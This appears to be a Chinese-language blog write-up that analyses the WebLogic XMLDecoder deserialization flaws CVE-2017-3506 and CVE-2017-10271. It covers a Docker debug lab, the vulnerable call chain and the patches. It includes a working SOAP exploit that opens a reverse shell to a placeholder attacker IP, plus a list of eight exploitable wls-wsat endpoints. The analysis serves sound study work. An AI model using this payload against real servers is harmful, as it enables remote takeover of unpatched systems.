前言 学习Java反序列化进程已经拖了很久了,这次推掉一些工作上的事情,抽出一周时间专心搞一下WebLogic反序列化。从老洞到新洞,整体学习一下。
CVE-2017-3506 & CVE-2017-10271 环境搭建 先简单点,用现成的vulhub。下载下来docker-compose.yml,然后docker-compose up -d
就行了。https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2017-10271
经过实践,使用Docker并不是很简单,前前后后居然花了我一天的时间。 因为后边需要启动WebLogic的调试功能,需要开启一个远程调试的端口,所以需要改动一下docker-compose.yml开放8453端口。**在最后一行添加- "8453:8453"
**。然后再docker-compose up -d
1 2 3 4 5 6 7 version: '2' services: weblogic: image: vulhub/weblogic ports: - "7001:7001" - "8453:8453"
Docker搭建完成后,docker exec -it container /bin/bash
进入Docker,修改以下路径的文件,找到以下代码段,添加标出代码。开启debug模式。
/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
运行一下setDomainEnv.sh
脚本。在这个Docker中,WebLogic进程的PID为1,杀不掉,故重启container。netstat -anp
看看是否开启了8453端口。 因为要远程调试WebLogic,而WebLogic是没有源码的,所以需要把依赖的包给拷出来。docker cp weblogic:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars
。
ps: 这部分jar包不全,还需要将Docker中,/root/Oracle/Middleware/modules
给拷出来
使用idea打开wlserver_10.3,将server/lib和/root/Oracle/Middleware/modules这两个文件夹添加到library。 添加完后,就会发现里面的.jar和.war的包都可以点开了。并且可以搜索里面的一些类和字符串了。然后设置debug。 添加一个Remote配置,
端口设置为8453,并且设置module classpath。 点击debug,出现如下字样,说明已经配置ok。
在wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class中的handle方法下断点,看看能否击中断点。
动态调试 如何定位代码呢,从POC中可以看出来是wls-wsat这个接口出的问题。 全局搜索一下文件,发现一个war包。点击去看看web.xml写了哪些接口。wlserver_10.3/server/lib/wls-wsat.war!/WEB-INF/web.xml
第一个就是我们想要的接口。
调用栈比较深,前边都是WebLogic servlet的分发机制,稍后再进行研究。
我们从processRequest开始,因为从processRequest开始,才进入处理xml的逻辑。输入的数据最终在readUTF中被反序列化。以下是函数调用栈。
具体流程如下:
weblogic.wsee.jaxws.workcontext.WorkContextServerTube 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public NextAction processRequest (Packet var1) { this .isUseOldFormat = false ; if (var1.getMessage() != null ) { HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true ); if (var3 != null ) { this .readHeaderOld(var3); this .isUseOldFormat = true ; } Header var4 = var2.get(this .JAX_WS_WORK_AREA_HEADER, true ); if (var4 != null ) { this .readHeader(var4); } } return super .processRequest(var1); }
var1为传进来的POST数据,也就是XML。
var3是xml的头部解析,如果存在(头不为空),进入readHeaderOld()。跟进!
weblogic.wsee.jaxws.workcontext.WorkContextTube 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 protected void readHeaderOld (Header var1) { try { XMLStreamReader var2 = var1.readHeader(); var2.nextTag(); var2.nextTag(); XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter(); ByteArrayOutputStream var4 = new ByteArrayOutputStream(); XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4); var3.bridge(var2, var5); var5.close(); WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray())); this .receive(var6); } catch (XMLStreamException var7) { throw new WebServiceException(var7); } catch (IOException var8) { throw new WebServiceException(var8); } }
在上一步中,我们只把头读了进来,其他的数据还在缓冲区中,使用ByteArrayOutputStream函数读取剩余数据到var4中。然后var5创建一个XMLStreamWriter实例后就close了,不知道做什么用的(查了查文档,依然不知道做什么用的,可能上个版本的残留?),可能是进行xml的语法检查(猜测),没有问题的话创建WorkContextXmlInputAdapter对象。
跟进 receive()!
weblogic.wsee.jaxws.workcontext.WorkContextServerTube 1 2 3 4 protected void receive (WorkContextInput var1) throws IOException { WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor(); var2.receiveRequest(var1); }
没什么好说的,获取当前的Context继续往下传。
weblogic.workarea.WorkContextMapImpl 1 2 3 public void receiveRequest (WorkContextInput var1) throws IOException { ((WorkContextMapInterceptor)this .getMap()).receiveRequest(var1); }
将数据传到下一个receiveRequest。
weblogic.workarea.WorkContextLocalMap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public void receiveRequest (WorkContextInput var1) throws IOException { while (true ) { try { WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1); if (var2 == WorkContextEntry.NULL_CONTEXT) { return ; } String var3 = var2.getName(); this .map.put(var3, var2); if (debugWorkContext.isDebugEnabled()) { debugWorkContext.debug("receiveRequest(" + var2.toString() + ")" ); } } catch (ClassNotFoundException var4) { if (debugWorkContext.isDebugEnabled()) { debugWorkContext.debug("receiveRequest : " , var4); } } } }
WorkContextEntryImpl.readEntry(var1);
对传进来的数据进行处理,跟进!
weblogic.workarea.spi.WorkContextEntryImpl 1 2 3 4 public static WorkContextEntry readEntry (WorkContextInput var0) throws IOException, ClassNotFoundException { String var1 = var0.readUTF(); return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0)); }
看到readUTF()了!数据在这里被readObject()反序列化,最终RCE!
漏洞原因&补丁分析 在这里,WebLogic没有对XML的数据进行任何的过滤,导致可以构造XML数据,反序列化任意对象,从而RCE,这也就是CVE-2017-3506产生的原因。Oracle官方针对此发布了如下补丁。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void validate (InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object" )) { throw new IllegalStateException("Invalid context type: object" ); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception" , var5); } catch (SAXException var6) { throw new IllegalStateException("Parser Exception" , var6); } catch (IOException var7) { throw new IllegalStateException("Parser Exception" , var7); } }
如果有Element字段为object的话,就抛出异常,这显而易见是可以bypass的,比如如下Exp,使用java.beans.XMLDecoder进行代码执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java version ="1.4.0" class ="java.beans.XMLDecoder" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > /bin/bash -i > /dev/tcp/xxx.xxx.xxx.xxx/8888 0< & 1 2> & 1</string > </void > </array > <void method ="start" /> </void > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body /> </soapenv:Envelope >
所以针对CVE-2017-10271,发布了新的补丁:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object" )) { throw new IllegalStateException("Invalid element qName:object" ); } else if (qName.equalsIgnoreCase("new" )) { throw new IllegalStateException("Invalid element qName:new" ); } else if (qName.equalsIgnoreCase("method" )) { throw new IllegalStateException("Invalid element qName:method" ); } else { if (qName.equalsIgnoreCase("void" )) { for (int attClass = 0 ; attClass < attributes.getLength(); ++attClass) { if (!"index" .equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if (qName.equalsIgnoreCase("array" )) { String var9 = attributes.getValue("class" ); if (var9 != null && !var9.equalsIgnoreCase("byte" )) { throw new IllegalStateException("The value of class attribute is not valid for array element." ); } } } }
补充了startElement函数,对于object,new,method,void,array字段抛出异常,无法生成java 实例。(补丁网上找的,感觉不全,回来看看下一个版本的源码,再补一下)。
Exploit
补充 其实并不是只有CoordinatorPortType这一个接口可以打,从wls-wsat.wra/web.xml中可以看出其中又八个接口,都是使用同一个包(weblogic.wsee.wstx)处理,所以以下八个接口均可以利用。
1 2 3 4 5 6 7 8 /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
说点废话 这个漏洞调下来,感觉摸到java反序列化的大门了,管中窥豹,知其一二。 下篇学习一下Java反序列化的具体利用。 疑问:如何定位到WLSServletAdapter.class的handle???求大佬们指点迷津
Reference https://www.anquanke.com/post/id/102768#h2-5 https://zhuanlan.zhihu.com/p/32301092 http://pirogue.org/2017/12/29/weblogic-XMLDecoder/ http://xxlegend.com/2017/12/22/Weblogic%20CVE-2017-10271%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/